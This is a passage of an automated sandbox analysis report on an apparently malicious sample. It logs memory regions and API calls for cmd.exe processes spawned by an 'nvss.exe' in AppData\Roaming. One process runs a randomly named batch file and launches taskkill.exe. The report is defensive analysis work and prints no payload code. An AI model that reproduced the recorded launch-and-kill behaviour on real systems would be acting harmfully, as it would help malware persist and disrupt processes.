  • Region Actions
pagefile_0x00000000008e0000 0x008e0000 0x00a60fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000a70000 0x00a70000 0x01e6ffff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001e70000 0x01e70000 0x021b2fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000021c0000 0x021c0000 0x025b2fff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x025c0000 0x0288efff Memory Mapped File Readable False False False
  • Region Actions
cmd.exe 0x4a0f0000 0x4a13bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
winbrand.dll 0x73fb0000 0x73fb6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True True False
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True True False
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True True False
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True True False
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True True False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Threads
Thread 0xad8
(Host: 79, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2017-10-16 14:27:24 (UTC) True 1
Fn
System Get Time type = Ticks, time = 99653 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\cmd.exe, base_address = 0x4a0f0000 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x7654a84f True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 3
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
Environment Get Environment String True 2
Fn
Data
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module Get Filename process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
Environment Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Environment Get Environment String name = KEYS False 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop, type = file_attributes True 2
Fn
Environment Set Environment String name = =C:, value = C:\Users\kFT6uTQW\Desktop True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 3
Fn
System Get Info type = Operating System True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 36 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 63 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x76553b92 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x76534a5d True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x7654a79d True 1
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Get Info filename = STD_INPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Get Info filename = STD_INPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Get Info filename = STD_INPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Get Info filename = STD_INPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Read filename = STD_INPUT_HANDLE, size = 8192 False 1
Fn
Process #10: cmd.exe
(Host: 582, Network: 0)
+
Information Value
ID #10
File Name c:\windows\syswow64\cmd.exe
Command Line cmd /c ""C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat""
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:15, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:20
OS Process Information
+
Information Value
PID 0xbb0
Parent PID 0xa90 (c:\users\kft6utqw\appdata\roaming\nvss.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BB4
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x001effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001f0000 0x001f0000 0x001f0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x00200fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000210000 0x00210000 0x0021ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000230000 0x00230000 0x0026ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000340000 0x00340000 0x003bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000490000 0x00490000 0x0058ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000006d0000 0x006d0000 0x006dffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000006e0000 0x006e0000 0x00867fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000870000 0x00870000 0x009f0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000a00000 0x00a00000 0x01dfffff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001e00000 0x01e00000 0x02142fff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x02150000 0x0241efff Memory Mapped File Readable False False False
  • Region Actions
cmd.exe 0x4a0f0000 0x4a13bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
winbrand.dll 0x73fb0000 0x73fb6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Threads
Thread 0xbb4
(Host: 472, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2017-10-16 14:27:32 (UTC) True 1
Fn
System Get Time type = Ticks, time = 107266 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\cmd.exe, base_address = 0x4a0f0000 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x7654a84f True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
Environment Get Environment String True 2
Fn
Data
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module Get Filename process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
Environment Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Environment Get Environment String name = KEYS False 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop, type = file_attributes True 2
Fn
Environment Set Environment String name = =C:, value = C:\Users\kFT6uTQW\Desktop True 1
Fn
Environment Get Environment String True 1
Fn
Data
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x76553b92 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x76534a5d True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x7654a79d True 1
Fn
File Get Info filename = "C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat", type = file_attributes False 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Module Load module_name = ADVAPI32.dll, base_address = 0x763f0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\advapi32.dll, function = SaferIdentifyLevel, address_out = 0x76412102 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\advapi32.dll, function = SaferComputeTokenFromLevel, address_out = 0x76413352 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\advapi32.dll, function = SaferCloseLevel, address_out = 0x76413825 True 1
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1648 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1638 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Process Create process_name = C:\Windows\system32\taskkill.exe, os_pid = 0xbc4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1581 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1538 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1487 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000080 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Open True 2
Fn
File Read size = 8191, size_out = 1438 True 1
Fn
Data
File Open True 1
Fn
File Get Info type = file_type True 1
Fn
File Open True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
